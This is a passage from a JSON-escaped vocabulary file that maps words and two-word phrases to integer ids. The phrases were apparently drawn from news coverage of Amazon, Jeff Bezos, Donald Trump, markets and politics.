82040,\n  \"isshowdetailsspanexists\": 82041,\n  \"2020 amazon\": 82042,\n  \"staggering degree\": 82043,\n  \"statement algorithmically\": 82044,\n  \"called obsessive\": 82045,\n  \"biggest nationwide\": 82046,\n  \"yo\": 82047,\n  \"management 8217\": 82048,\n  \"nate lanxon\": 82049,\n  \"chairman jerome\": 82050,\n  \"near post\": 82051,\n  \"decisions pro\": 82052,\n  \"ibm announcing\": 82053,\n  \"colleagues depicted\": 82054,\n  \"accesswire\": 82055,\n  \"203 billion\": 82056,\n  \"courts agree\": 82057,\n  \"started writing\": 82058,\n  \"weiss\": 82059,\n  \"rate held\": 82060,\n  \"fed influence\": 82061,\n  \"arabia venezuela\": 82062,\n  \"write legislation\": 82063,\n  \"political theater\": 82064,\n  \"despite sexual\": 82065,\n  \"administration solar\": 82066,\n  \"whiff\": 82067,\n  \"including large\": 82068,\n  \"idea studio\": 82069,\n  \"phillips life\": 82070,\n  \"looming tower\": 82071,\n  \"clark salting\": 82072,\n  \"societal obligations\": 82073,\n  \"alienated marginalized\": 82074,\n  \"cortez\": 82075,\n  \"attended fundraiser\": 82076,\n  \"shared equally\": 82077,\n  \"falsifying time\": 82078,\n  \"washingtonpost cnn\": 82079,\n  \"driven\": 82080,\n  \"mgmt incorporated\": 82081,\n  \"2blvcpl\": 82082,\n  \"additional incentives\": 82083,\n  \"tracking\": 82084,\n  \"deals assiduously\": 82085,\n  \"tree\": 82086,\n  \"cartels cash\": 82087,\n  \"trump commentators\": 82088,\n  \"trump heidi\": 82089,\n  \"lawmakers sent\": 82090,\n  \"certain content\": 82091,\n  \"paradigm\": 82092,\n  \"isn impacting\": 82093,\n  \"mulls new\": 82094,\n  \"infamously\": 82095,\n  \"created 135\": 82096,\n  \"delicate situation\": 82097,\n  \"subtle thrills\": 82098,\n  \"pentagon shares\": 82099,\n  \"afp stephanie\": 82100,\n  \"minority shareholders\": 82101,\n  \"democratic blue\": 82102,\n  \"bridewater\": 82103,\n  \"folks unhappy\": 82104,\n  \"treasuries central\": 82105,\n  \"favored companies\": 82106,\n  \"housing dawn\": 82107,\n  \"card simon\": 82108,\n  \"spied\": 82109,\n  \"40s isn\": 82110,\n  \"network sources\": 82111,\n  \"representative told\": 82112,\n  \"bezos enlisted\": 82113,\n  \"lisa boothe\": 82114,\n  \"stays ahead\": 82115,\n  \"thinks trump\": 82116,\n  \"simply case\": 82117,\n  \"state basis\": 82118,\n  \"violence scenes\": 82119,\n  \"skewer\": 82120,\n  \"bibble\": 82121,\n  \"case boosts\": 82122,\n  \"married couple\": 82123,\n  \"consequences west\": 82124,\n  \"embedded\": 82125,\n  \"competitor amazon\": 82126,\n  \"voter data\": 82127,\n  \"image getty\": 82128,\n  \"business registers\": 82129,\n  \"selections trump\": 82130,\n  \"diploid\": 82131,\n  \"options play\": 82132,\n  \"congress plan\": 82133,\n  \"000 sales\": 82134,\n  \"free solutions\": 82135,\n  \"canada title\": 82136,\n  \"landlords\": 82137,\n  \"brazen attempt\": 82138,\n  \"scuttle plan\": 82139,\n  \"statement according\": 82140,\n  \"hiking pants\": 82141,\n  \"navy days\": 82142,\n  \"rights zeid\": 82143,\n  \"term harm\": 82144,\n  \"provides reporting\": 82145,\n  \"including preface\": 82146,\n  \"mccain finally\": 82147,\n  \"lou barletta\": 82148,\n  \"service reform\": 82149,\n  \"literally bartiromo\": 82150,\n  \"rachel cross\": 82151,\n  \"market additionally\": 82152,\n  \"intelligence director\": 82153,\n  \"key reasona\": 82154,\n  \"form feeling\": 82155,\n  \"value takes\": 82156,\n  \"quick downloads\": 82157,\n  \"posting toasting\": 82158,\n  \"tumulty columnist\": 82159,\n  \"especially regarding\": 82160,\n  \"wrath president\": 82161,\n  \"amazon latest\": 82162,\n  \"covering environmental\": 82163,\n  \"goods shown\": 82164,\n  \"raunchy selfies\": 82165,\n  \"paris shutdown\": 82166,\n  \"trump election\": 82167,\n  \"uber competitors\": 82168,\n  \"focusing attention\": 82169,\n  \"filed suit\": 82170,\n  \"indianapolis children\": 82171,\n  \"devil mark\": 82172,\n  \"walmart stephen\": 82173,\n  \"linkedin job\": 82174,\n  \"selling shirt\": 82175,\n  \"silly misadventures\": 82176,\n  \"ryan review\": 82177,\n  \"advisory\": 82178,\n  \"dont need\": 82179,\n  \"accomplish greene\": 82180,\n  \"location decisions\": 82181,\n  \"sale sending\": 82182,\n  \"louis stevenson\": 82183,\n  \"jersey bruce\": 82184,\n  \"sweatshirts removed\": 82185,\n  \"contentious relationship\": 82186,\n  \"king amazons\": 82187,\n  \"stock telltale\": 82188,\n  \"atsopro\": 82189,\n  \"comcast earlier\": 82190,\n  \"shows reboots\": 82191,\n  \"ss\": 82192,\n  \"holds 725\": 82193,\n  \"sued amazon\": 82194,\n  \"largest unforced\": 82195,\n  \"exciting news\": 82196,\n  \"new girlfriend\": 82197,\n  \"marin\": 82198,\n  \"expanding influence\": 82199,\n  \"cinematographer\": 82200,\n  \"table tijuana\": 82201,\n  \"interview\": 82202,\n  \"grew pinterest\": 82203,\n  \"retail prescription\": 82204,\n  \"jpmorgan prediction\": 82205,\n  \"shares northwestern\": 82206,\n  \"expected\": 82207,\n  \"jobs data\": 82208,\n  \"actuals\": 82209,\n  \"nondocumentary feature\": 82210,\n  \"applauds cowboys\": 82211,\n  \"origin president\": 82212,\n  \"volumes actually\": 82213,\n  \"operation\": 82214,\n  \"fires bezos\": 82215,\n  \"america estimated\": 82216,\n  \"revoked nov\": 82217,\n  \"goblet\": 82218,\n  \"potentially compromising\": 82219,\n  \"grassroots hyper\": 82220,\n  \"scott ryan\": 82221,\n  \"warns stephen\": 82222,\n  \"pocketing 150\": 82223,\n  \"kayali\": 82224,\n  \"griffeth right\": 82225,\n  \"levenson\": 82226,\n  \"voicing stark\": 82227,\n  \"haldimand brant\": 82228,\n  \"modern digital\": 82229,\n  \"avenue landmark\": 82230,\n  \"perigon\": 82231,\n  \"trumps supreme\": 82232,\n  \"age amazon\": 82233,\n  \"evangelical right\": 82234,\n  \"jf0cj6zesg willforthrill\": 82235,\n  \"subsidy cronyism\": 82236,\n  \"pay high\": 82237,\n  \"time putting\": 82238,\n  \"today parenting\": 82239,\n  \"place shelter\": 82240,\n  \"ghanaian\": 82241,\n  \"hyper timely\": 82242,\n  \"published\": 82243,\n  \"member stepped\": 82244,\n  \"west va\": 82245,\n  \"stakes battle\": 82246,\n  \"fake hate\": 82247,\n  \"luxuries\": 82248,\n  \"2095956267355712 ksw\": 82249,\n  \"carlson sharply\": 82250,\n  \"variety\": 82251,\n  \"straightforward proven\": 82252,\n  \"helping fix\": 82253,\n  \"mock horror\": 82254,\n  \"house revoked\": 82255,\n  \"million lawsuit\": 82256,\n  \"angry tias\": 82257,\n  \"europe trip\": 82258,\n  \"financial stability\": 82259,\n  \"annual author\": 82260,\n  \"monument valley\": 82261,\n  \"realdonaldtrump despite\": 82262,\n  \"hype cycle\": 82263,\n  \"testament\": 82264,\n  \"chargers\": 82265,\n  \"technologies potential\": 82266,\n  \"microsoft nasdaq\": 82267,\n  \"searched mail\": 82268,\n  \"reported barron\": 82269,\n  \"mounted vigorous\": 82270,\n  \"gracefully\": 82271,\n  \"helps american\": 82272,\n  \"testament supersede\": 82273,\n  \"engulfed\": 82274,\n  \"amazon thanked\": 82275,\n  \"using lot\": 82276,\n  \"libel read\": 82277,\n  \"brendan mcdermid\": 82278,\n  \"having previously\": 82279,\n  \"tech conference\": 82280,\n  \"washington address\": 82281,\n  \"hm mngmt\": 82282,\n  \"strip jasco\": 82283,\n  \"terrible situation\": 82284,\n  \"skilled craftsmen\": 82285,\n  \"emerging tech\": 82286,\n  \"felony violation\": 82287,\n  \"climbed points\": 82288,\n  \"books rich\": 82289,\n  \"showed facebook\": 82290,\n  \"inc_image_caption_override\": 82291,\n  \"america australia\": 82292,\n  \"finalists read\": 82293,\n  \"finance governor\": 82294,\n  \"delivering daily\": 82295,\n  \"confirm brett\": 82296,\n  \"rat amazon\": 82297,\n  \"acquires actual\": 82298,\n  \"kevin durant\": 82299,\n  \"overblown chester\": 82300,\n  \"twitter horrible\": 82301,\n  \"oklahoma kansas\": 82302,\n  \"uk announced\": 82303,\n  \"sshe\": 82304,\n  \"shameful history\": 82305,\n  \"dec short\": 82306,\n  \"9hubrtexlq\": 82307,\n  \"transformational\": 82308,\n  \"manufacturers home\": 82309,\n  \"neil patrick\": 82310,\n  \"pops don\": 82311,\n  \"disallowed tax\": 82312,\n  \"finance thank\": 82313,\n  \"gasoline stations\": 82314,\n  \"500 toys\": 82315,\n  \"litigation exaggeration\": 82316,\n  \"syndicators\": 82317,\n  \"terms trump\": 82318,\n  \"football body\": 82319,\n  \"paranormal\": 82320,\n  \"trump win\": 82321,\n  \"google search\": 82322,\n  \"affair just\": 82323,\n  \"office arguing\": 82324,\n  \"activist post\": 82325,\n  \"homelessness count\": 82326,\n  \"privacy terms\": 82327,\n  \"hassan\": 82328,\n  \"dismantling america\": 82329,\n  \"disability leave\": 82330,\n  \"way sears\": 82331,\n  \"revealing details\": 82332,\n  \"california referred\": 82333,\n  \"following newly\": 82334,\n  \"abigail klem\": 82335,\n  \"eclipsing apple\": 82336,\n  \"stevie mnooks\": 82337,\n  \"tech corporation\": 82338,\n  \"nycha residents\": 82339,\n  \"process\": 82340,\n  \"news broke\": 82341,\n  \"600 respondents\": 82342,\n  \"president nick\": 82343,\n  \"fun gonzalez\": 82344,\n  \"energy programs\": 82345,\n  \"google progressives\": 82346,\n  \"unprecedented wide\": 82347,\n  \"ge president\": 82348,\n  \"intelligence commerce\": 82349,\n  \"chinese products\": 82350,\n  \"cows making\": 82351,\n  \"kilgore\": 82352,\n  \"create blue\": 82353,\n  \"services brought\": 82354,\n  \"investments jeff\": 82355,\n  \"questions ranging\": 82356,\n  \"investigation americans\": 82357,\n  \"occupying 747\": 82358,\n  \"security funding\": 82359,\n  \"ledge\": 82360,\n  \"soaring bond\": 82361,\n  \"hired famous\": 82362,\n  \"means wealthy\": 82363,\n  \"fed hiked\": 82364,\n  \"urge patience\": 82365,\n  \"daughters set\": 82366,\n  \"spiritual teachers\": 82367,\n  \"new aerospace\": 82368,\n  \"bernank\": 82369,\n  \"employers reveals\": 82370,\n  \"nonprofit preschools\": 82371,\n  \"cost continue\": 82372,\n  \"hide story\": 82373,\n  \"similarly legal\": 82374,\n  \"released version\": 82375,\n  \"described cutthroat\": 82376,\n  \"overt campaign\": 82377,\n  \"elite business\": 82378,\n  \"steer clear\": 82379,\n  \"origin chief\": 82380,\n  \"groups later\": 82381,\n  \"means resulted\": 82382,\n  \"introduced stop\": 82383,\n  \"multi factor\": 82384,\n  \"buys\": 82385,\n  \"trump impulses\": 82386,\n  \"winding\": 82387,\n  \"growing businesses\": 82388,\n  \"amazon determined\": 82389,\n  \"arabia murdered\": 82390,\n  \"inc228693\": 82391,\n  \"better paying\": 82392,\n  \"wireless earphones\": 82393,\n  \"stern hard\": 82394,\n  \"amazon development\": 82395,\n  \"googl make\": 82396,\n  \"cases settled\": 82397,\n  \"general crimes\": 82398,\n  \"smile program\": 82399,\n  \"traded fund\": 82400,\n  \"faces recall\": 82401,\n  \"select prices\": 82402,\n  \"loan finally\": 82403,\n  \"brahmins dorsey\": 82404,\n  \"military powers\": 82405,\n  \"complicit\": 82406,\n  \"retail trends\": 82407,\n  \"articles videos\": 82408,\n  \"having tough\": 82409,\n  \"children enlightenment\": 82410,\n  \"corporations microsoft\": 82411,\n  \"employee discounts\": 82412,\n  \"oprah book\": 82413,\n  \"racks bridges\": 82414,\n  \"platform needs\": 82415,\n  \"says longtime\": 82416,\n  \"mere rumor\": 82417,\n  \"amazon indirect\": 82418,\n  \"discovered great\": 82419,\n  \"larded\": 82420,\n  \"fighting sarah\": 82421,\n  \"addressed results\": 82422,\n  \"sen rick\": 82423,\n  \"alluring\": 82424,\n  \"sanders comment\": 82425,\n  \"local economy\": 82426,\n  \"sales confronting\": 82427,\n  \"capitalization following\": 82428,\n  \"just genius\": 82429,\n  \"track individual\": 82430,\n  \"sanders\": 82431,\n  \"purge\": 82432,\n  \"statement queens\": 82433,\n  \"sheehan\": 82434,\n  \"primary driver\": 82435,\n  \"hometown new\": 82436,\n  \"kurtenbach\": 82437,\n  \"sin\": 82438,\n  \"create health\": 82439,\n  \"beginning 100\": 82440,\n  \"ingredients including\": 82441,\n  \"jacking\": 82442,\n  \"photography season\": 82443,\n  \"freak\": 82444,\n  \"nearly opposite\": 82445,\n  \"restrict people\": 82446,\n  \"reported late\": 82447,\n  \"knocks 80m\": 82448,\n  \"journey\": 82449,\n  \"televised\": 82450,\n  \"trump state\": 82451,\n  \"smart experience\": 82452,\n  \"electric monitor\": 82453,\n  \"artificial flavors\": 82454,\n  \"fuel surcharges\": 82455,\n  \"reportedly sought\": 82456,\n  \"cat apparently\": 82457,\n  \"700 square\": 82458,\n  \"amendment ahead\": 82459,\n  \"know contact\": 82460,\n  \"329 billion\": 82461,\n  \"plan offered\": 82462,\n  \"volunteers resume\": 82463,\n  \"accusations inaccurate\": 82464,\n  \"helping reelect\": 82465,\n  \"bezos despite\": 82466,\n  \"serving mandatory\": 82467,\n  \"days names\": 82468,\n  \"bacamontes\": 82469,\n  \"bell street\": 82470,\n  \"including relatively\": 82471,\n  \"gross human\": 82472,\n  \"firefighters determined\": 82473,\n  \"poverty line\": 82474,\n  \"hosting webcast\": 82475,\n  \"fleets just\": 82476,\n  \"competitor verizon\": 82477,\n  \"symantec 1534392060\": 82478,\n  \"normal purchasing\": 82479,\n  \"developing strange\": 82480,\n  \"landmark legislation\": 82481,\n  \"retailer overstock\": 82482,\n  \"fedex advantage\": 82483,\n  \"week microsoft\": 82484,\n  \"seth wasn\": 82485,\n  \"shannon coulter\": 82486,\n  \"leased millions\": 82487,\n  \"ro maybe\": 82488,\n  \"make cities\": 82489,\n  \"duplicitous\": 82490,\n  \"surviving national\": 82491,\n  \"list beautiful\": 82492,\n  \"taye\": 82493,\n  \"banality\": 82494,\n  \"optional test\": 82495,\n  \"aspirations web\": 82496,\n  \"premarket action\": 82497,\n  \"chason\": 82498,\n  \"coldwell\": 82499,\n  \"applications according\": 82500,\n  \"pecker chief\": 82501,\n  \"clark detonations\": 82502,\n  \"rich given\": 82503,\n  \"friend pecker\": 82504,\n  \"000 school\": 82505,\n  \"practice today\": 82506,\n  \"cure jangling\": 82507,\n  \"best books\": 82508,\n  \"worse\": 82509,\n  \"personal triumphs\": 82510,\n  \"half hour\": 82511,\n  \"betty ford\": 82512,\n  \"tech appliance\": 82513,\n  \"couple plan\": 82514,\n  \"remains pending\": 82515,\n  \"proclaimed noting\": 82516,\n  \"think long\": 82517,\n  \"jersey levinson\": 82518,\n  \"say lauren\": 82519,\n  \"contributing david\": 82520,\n  \"advisers michael\": 82521,\n  \"openly thwarting\": 82522,\n  \"healthy thing\": 82523,\n  \"sprawling program\": 82524,\n  \"dumping\": 82525,\n  \"dozen states\": 82526,\n  \"sustainable path\": 82527,\n  \"currentvideoid\": 82528,\n  \"official started\": 82529,\n  \"twitterian\": 82530,\n  \"standard plus\": 82531,\n  \"digital form\": 82532,\n  \"manjoo\": 82533,\n  \"customers buying\": 82534,\n  \"moronic\": 82535,\n  \"commerce juggernaut\": 82536,\n  \"000 kilometres\": 82537,\n  \"commercial pr\": 82538,\n  \"measure amazon\": 82539,\n  \"tropical ecologist\": 82540,\n  \"maisel available\": 82541,\n  \"muckraking\": 82542,\n  \"weren true\": 82543,\n  \"blake file\": 82544,\n  \"long hard\": 82545,\n  \"democratic senator\": 82546,\n  \"summer best\": 82547,\n  \"trump famed\": 82548,\n  \"reportedly allow\": 82549,\n  \"american music\": 82550,\n  \"protestors unfurled\": 82551,\n  \"bahamas toby\": 82552,\n  \"media elite\": 82553,\n  \"free stores\": 82554,\n  \"company stretch\": 82555,\n  \"greatest procuring\": 82556,\n  \"posted loss\": 82557,\n  \"criticized social\": 82558,\n  \"robbery\": 82559,\n  \"ext 7636\": 82560,\n  \"districts trained\": 82561,\n  \"induced\": 82562,\n  \"viser\": 82563,\n  \"hitman barry\": 82564,\n  \"exploits\": 82565,\n  \"horror films\": 82566,\n  \"private\": 82567,\n  \"caster\": 82568,\n  \"nella\": 82569,\n  \"davis research\": 82570,\n  \"fundamentals deteriorating\": 82571,\n  \"time twitter\": 82572,\n  \"wallstreetjournal\": 82573,\n  \"atlanta based\": 82574,\n  \"jpg 284x160\": 82575,\n  \"bestselling book\": 82576,\n  \"disastrous day\": 82577,\n  \"uniforms discounts\": 82578,\n  \"credible threats\": 82579,\n  \"research outcomes\": 82580,\n  \"2dy1qhmfka claire\": 82581,\n  \"reach millions\": 82582,\n  \"friend david\": 82583,\n  \"profile writers\": 82584,\n  \"deliveries higher\": 82585,\n  \"throwaway tweets\": 82586,\n  \"originally hoped\": 82587,\n  \"news journalist\": 82588,\n  \"backlash especially\": 82589,\n  \"getty players\": 82590,\n  \"subsidize billionaires\": 82591,\n  \"convenient experience\": 82592,\n  \"sequitur did\": 82593,\n  \"juxtaposed\": 82594,\n  \"workforce policy\": 82595,\n  \"harm competition\": 82596,\n  \"china try\": 82597,\n  \"enquirer washington\": 82598,\n  \"lead act\": 82599,\n  \"authorised\": 82600,\n  \"tbd\": 82601,\n  \"thanks nbcsnl\": 82602,\n  \"lynda\": 82603,\n  \"autonomic partners\": 82604,\n  \"agreement walgreens\": 82605,\n  \"meyer lobbyists\": 82606,\n  \"dedicated attacker\": 82607,\n  \"intensifying competition\": 82608,\n  \"democratic turnout\": 82609,\n  \"states headquarters\": 82610,\n  \"dying\": 82611,\n  \"horribly wrong\": 82612,\n  \"money republican\": 82613,\n  \"politicians playing\": 82614,\n  \"construction equipment\": 82615,\n  \"student visa\": 82616,\n  \"american oligarch\": 82617,\n  \"2009 amazon\": 82618,\n  \"woman rescued\": 82619,\n  \"adaptive biotechnologies\": 82620,\n  \"wholesale costs\": 82621,\n  \"conduct\": 82622,\n  \"prompted bezos\": 82623,\n  \"subjugating african\": 82624,\n  \"news tirades\": 82625,\n  \"mainland\": 82626,\n  \"expect deals\": 82627,\n  \"cvpid\": 82628,\n  \"insider samantha\": 82629,\n  \"funding 2018\": 82630,\n  \"today john\": 82631,\n  \"wh\": 82632,\n  \"cortez addressed\": 82633,\n  \"tinkering\": 82634,\n  \"reddick\": 82635,\n  \"slow progress\": 82636,\n  \"fox good\": 82637,\n  \"facebook fear\": 82638,\n  \"stock falling\": 82639,\n  \"famous supply\": 82640,\n  \"trump asserts\": 82641,\n  \"roadblocks\": 82642,\n  \"roasting\": 82643,\n  \"documentary premieres\": 82644,\n  \"cold news\": 82645,\n  \"small things\": 82646,\n  \"bashers need\": 82647,\n  \"buy troll\": 82648,\n  \"bellevue\": 82649,\n  \"upcoming edition\": 82650,\n  \"wrote really\": 82651,\n  \"regulatory attention\": 82652,\n  \"cruz texas\": 82653,\n  \"box percentages\": 82654,\n  \"pecker appeared\": 82655,\n  \"construction plans\": 82656,\n  \"nazis\": 82657,\n  \"fiesty tweet\": 82658,\n  \"melville house\": 82659,\n  \"harry enten\": 82660,\n  \"thepresident demand\": 82661,\n  \"movies hotels\": 82662,\n  \"196 000\": 82663,\n  \"diaz\": 82664,\n  \"notably usa\": 82665,\n  \"excellent public\": 82666,\n  \"netflix daredevil\": 82667,\n  \"blisters\": 82668,\n  \"interior staff\": 82669,\n  \"hill notes\": 82670,\n  \"electoral gain\": 82671,\n  \"estate tax\": 82672,\n  \"response mozambique\": 82673,\n  \"love working\": 82674,\n  \"snap qualified\": 82675,\n  \"2411390002 cancelsend\": 82676,\n  \"nimbler\": 82677,\n  \"minerva\": 82678,\n  \"advocacy effort\": 82679,\n  \"billions mackenzie\": 82680,\n  \"company cashier\": 82681,\n  \"protagonist new\": 82682,\n  \"poor quality\": 82683,\n  \"looking zing\": 82684,\n  \"840 words\": 82685,\n  \"book recommendation\": 82686,\n  \"smartphones using\": 82687,\n  \"28th year\": 82688,\n  \"uber ceo\": 82689,\n  \"health tech\": 82690,\n  \"creating task\": 82691,\n  \"recep tayyip\": 82692,\n  \"howard allegedly\": 82693,\n  \"relatedarticles\": 82694,\n  \"probing\": 82695,\n  \"lawyer wasn\": 82696,\n  \"law john\": 82697,\n  \"enduring christian\": 82698,\n  \"aluminum imported\": 82699,\n  \"pure greed\": 82700,\n  \"extension reuters\": 82701,\n  \"fundamental justice\": 82702,\n  \"poet\": 82703,\n  \"house declined\": 82704,\n  \"attrition\": 82705,\n  \"circus amazon\": 82706,\n  \"celebutard takes\": 82707,\n  \"companies seattle\": 82708,\n  \"opinion column\": 82709,\n  \"benefits rose\": 82710,\n  \"transferable\": 82711,\n  \"replace constitution\": 82712,\n  \"regulatory departments\": 82713,\n  \"hui\": 82714,\n  \"people making\": 82715,\n  \"information google\": 82716,\n  \"recent reports\": 82717,\n  \"joint pulitzer\": 82718,\n  \"parlophone fox\": 82719,\n  \"senate career\": 82720,\n  \"sourcedavid\": 82721,\n  \"collecticon toys\": 82722,\n  \"securities litigation\": 82723,\n  \"facebook announced\": 82724,\n  \"freq\": 82725,\n  \"alum jerri\": 82726,\n  \"lake housing\": 82727,\n  \"gwl real\": 82728,\n  \"financial returns\": 82729,\n  \"utm_source twitter\": 82730,\n  \"crystal pentagon\": 82731,\n  \"2018 quarterly\": 82732,\n  \"probability protected\": 82733,\n  \"administration marty\": 82734,\n  \"folha\": 82735,\n  \"nyse uber\": 82736,\n  \"services provided\": 82737,\n  \"blames hillary\": 82738,\n  \"decline read\": 82739,\n  \"washing machines\": 82740,\n  \"reward profile\": 82741,\n  \"enacting joint\": 82742,\n  \"youngest age\": 82743,\n  \"lew\": 82744,\n  \"surfaced\": 82745,\n  \"chinook helicopter\": 82746,\n  \"repeatedly called\": 82747,\n  \"maur\": 82748,\n  \"kubernetes bandwagonmany\": 82749,\n  \"45th president\": 82750,\n  \"hellblazer\": 82751,\n  \"problem extra\": 82752,\n  \"henssler assocs\": 82753,\n  \"advocate sought\": 82754,\n  \"brown smokehouse\": 82755,\n  \"media big\": 82756,\n  \"fewer trees\": 82757,\n  \"532\": 82758,\n  \"mean man\": 82759,\n  \"vegas\": 82760,\n  \"male\": 82761,\n  \"helen rosethorn\": 82762,\n  \"amazon drains\": 82763,\n  \"misinformation cruise\": 82764,\n  \"weaponization\": 82765,\n  \"teslas earnings\": 82766,\n  \"demonic child\": 82767,\n  \"john thune\": 82768,\n  \"cell number\": 82769,\n  \"fast news\": 82770,\n  \"multiple conservations\": 82771,\n  \"562 million\": 82772,\n  \"thatthe\": 82773,\n  \"amazon king\": 82774,\n  \"topical humor\": 82775,\n  \"touting good\": 82776,\n  \"excessive set\": 82777,\n  \"time higher\": 82778,\n  \"stiff industry\": 82779,\n  \"recapture\": 82780,\n  \"moac\": 82781,\n  \"billion government\": 82782,\n  \"bombshell remarks\": 82783,\n  \"harry potter\": 82784,\n  \"b5q 101\": 82785,\n  \"news events\": 82786,\n  \"beset\": 82787,\n  \"york voters\": 82788,\n  \"sustainable business\": 82789,\n  \"nygren oakmark\": 82790,\n  \"amazon monopoly\": 82791,\n  \"1915\": 82792,\n  \"gadgets plenty\": 82793,\n  \"people debases\": 82794,\n  \"tagline\": 82795,\n  \"announcement stamps\": 82796,\n  \"takes look\": 82797,\n  \"tradeoff\": 82798,\n  \"iana\": 82799,\n  \"people face\": 82800,\n  \"routines\": 82801,\n  \"illicit drug\": 82802,\n  \"helps trump\": 82803,\n  \"scary thought\": 82804,\n  \"t1 0r3wioxgeh\": 82805,\n  \"susie\": 82806,\n  \"carrying 400\": 82807,\n  \"consumer behaviors\": 82808,\n  \"esi\": 82809,\n  \"power mafia\": 82810,\n  \"standing rivalries\": 82811,\n  \"troy aikman\": 82812,\n  \"political flashpoint\": 82813,\n  \"businesses sought\": 82814,\n  \"deceiving\": 82815,\n  \"financial statements\": 82816,\n  \"political purpose\": 82817,\n  \"regained\": 82818,\n  \"inherently anti\": 82819,\n  \"alphabet little\": 82820,\n  \"late captain\": 82821,\n  \"airmen\": 82822,\n  \"tr gvi\": 82823,\n  \"emergency blaming\": 82824,\n  \"personally instructed\": 82825,\n  \"3po couldn\": 82826,\n  \"carousel owl\": 82827,\n  \"purchases sellers\": 82828,\n  \"county crystal\": 82829,\n  \"game works\": 82830,\n  \"rodd\": 82831,\n  \"war technology\": 82832,\n  \"quigley richmond\": 82833,\n  \"trump emerged\": 82834,\n  \"weeks leading\": 82835,\n  \"beasley\": 82836,\n  \"street pros\": 82837,\n  \"rove marie\": 82838,\n  \"granting yiwu\": 82839,\n  \"garman\": 82840,\n  \"obama deserved\": 82841,\n  \"recreating\": 82842,\n  \"228504\": 82843,\n  \"maker lenovo\": 82844,\n  \"schumer endorses\": 82845,\n  \"statista\": 82846,\n  \"reliable firm\": 82847,\n  \"2018 amzn\": 82848,\n  \"liberal independent\": 82849,\n  \"revoking obama\": 82850,\n  \"extramarital affair\": 82851,\n  \"tech stories\": 82852,\n  \"words witches\": 82853,\n  \"affect apple\": 82854,\n  \"morning amazon\": 82855,\n  \"varying\": 82856,\n  \"fight\": 82857,\n  \"having relationship\": 82858,\n  \"oliver popular\": 82859,\n  \"goldman cool\": 82860,\n  \"change reported\": 82861,\n  \"unexplained\": 82862,\n  \"common good\": 82863,\n  \"doctor patient\": 82864,\n  \"hits brought\": 82865,\n  \"jr attracts\": 82866,\n  \"wielding\": 82867,\n  \"savings fully\": 82868,\n  \"asserted\": 82869,\n  \"madison square\": 82870,\n  \"win did\": 82871,\n  \"stories sanders\": 82872,\n  \"native forests\": 82873,\n  \"warned jason\": 82874,\n  \"portion thereof\": 82875,\n  \"170 distribution\": 82876,\n  \"book signing\": 82877,\n  \"reported watch\": 82878,\n  \"director christine\": 82879,\n  \"split reason\": 82880,\n  \"challenges bolsonaro\": 82881,\n  \"lisota eric\": 82882,\n  \"better deals\": 82883,\n  \"politicians diplomats\": 82884,\n  \"kbh\": 82885,\n  \"urine soda\": 82886,\n  \"recently recommended\": 82887,\n  \"president unlike\": 82888,\n  \"pete bowden\": 82889,\n  \"company wondered\": 82890,\n  \"observed stacy\": 82891,\n  \"cite survey\": 82892,\n  \"jogged\": 82893,\n  \"census count\": 82894,\n  \"young age\": 82895,\n  \"center author\": 82896,\n  \"beauty kevin\": 82897,\n  \"billion maryland\": 82898,\n  \"mccain ship\": 82899,\n  \"critics want\": 82900,\n  \"declined year\": 82901,\n  \"labor policies\": 82902,\n  \"message bezos\": 82903,\n  \"analyst harshita\": 82904,\n  \"thirtieth\": 82905,\n  \"tracking fedex\": 82906,\n  \"private businesses\": 82907,\n  \"team attendees\": 82908,\n  \"nachman joseph\": 82909,\n  \"square\": 82910,\n  \"tnoah\": 82911,\n  \"recent trip\": 82912,\n  \"kathy willens\": 82913,\n  \"stiff penalties\": 82914,\n  \"song trump\": 82915,\n  \"declared state\": 82916,\n  \"toughest job\": 82917,\n  \"cook apple\": 82918,\n  \"day customers\": 82919,\n  \"hot prime\": 82920,\n  \"people exercising\": 82921,\n  \"slow soy\": 82922,\n  \"react\": 82923,\n  \"contempt\": 82924,\n  \"billions amazon\": 82925,\n  \"kill trump\": 82926,\n  \"quickly pointed\": 82927,\n  \"photo jorg\": 82928,\n  \"post delrahim\": 82929,\n  \"global connectivity\": 82930,\n  \"midterms california\": 82931,\n  \"guiding social\": 82932,\n  \"democratic left\": 82933,\n  \"media related\": 82934,\n  \"available explore\": 82935,\n  \"ignore worker\": 82936,\n  \"created lucrative\": 82937,\n  \"mcdonell blue\": 82938,\n  \"crunched\": 82939,\n  \"mazie\": 82940,\n  \"printed pages\": 82941,\n  \"court case\": 82942,\n  \"tech corporations\": 82943,\n  \"largest subsidy\": 82944,\n  \"handling shipment\": 82945,\n  \"program supposedly\": 82946,\n  \"day mitt\": 82947,\n  \"commerce operations\": 82948,\n  \"dragging new\": 82949,\n  \"sharply criticised\": 82950,\n  \"bezos announcement\": 82951,\n  \"michael peterson\": 82952,\n  \"seen lot\": 82953,\n  \"facing war\": 82954,\n  \"inc_newsworthyflag\": 82955,\n  \"story millennials\": 82956,\n  \"reach prompted\": 82957,\n  \"better revenue\": 82958,\n  \"painting michael\": 82959,\n  \"return requests\": 82960,\n  \"promised service\": 82961,\n  \"fetch\": 82962,\n  \"epic proportions\": 82963,\n  \"recently expanded\": 82964,\n  \"aviation hangar\": 82965,\n  \"published details\": 82966,\n  \"check amazon\": 82967,\n  \"political actions\": 82968,\n  \"891 14b\": 82969,\n  \"visit places\": 82970,\n  \"falling hurting\": 82971,\n  \"actually added\": 82972,\n  \"fresh post\": 82973,\n  \"staff writer\": 82974,\n  \"finance chairman\": 82975,\n  \"trump resist\": 82976,\n  \"wasn currently\": 82977,\n  \"legislation brief\": 82978,\n  \"median\": 82979,\n  \"tray handles\": 82980,\n  \"tony warr\": 82981,\n  \"racist asshole\": 82982,\n  \"misconduct leading\": 82983,\n  \"indian millennials\": 82984,\n  \"included fourth\": 82985,\n  \"morgan brennan\": 82986,\n  \"local lobbying\": 82987,\n  \"enterprises\": 82988,\n  \"kappa\": 82989,\n  \"evasion cost\": 82990,\n  \"lily cole\": 82991,\n  \"witness saw\": 82992,\n  \"husemen placidly\": 82993,\n  \"party left\": 82994,\n  \"approaches chris\": 82995,\n  \"sears stock\": 82996,\n  \"francoise bettencourt\": 82997,\n  \"fortes seeing\": 82998,\n  \"detentions apprehensions\": 82999,\n  \"alibaba recently\": 83000,\n  \"usa removed\": 83001,\n  \"change boondoggles\": 83002,\n  \"compared\": 83003,\n  \"40c5919643104864b2db1be1f9f9adeb\": 83004,\n  \"neutrality measure\": 83005,\n  \"food market\": 83006,\n  \"offset gains\": 83007,\n  \"year imf\": 83008,\n  \"look inside\": 83009,\n  \"appropriate funding\": 83010,\n  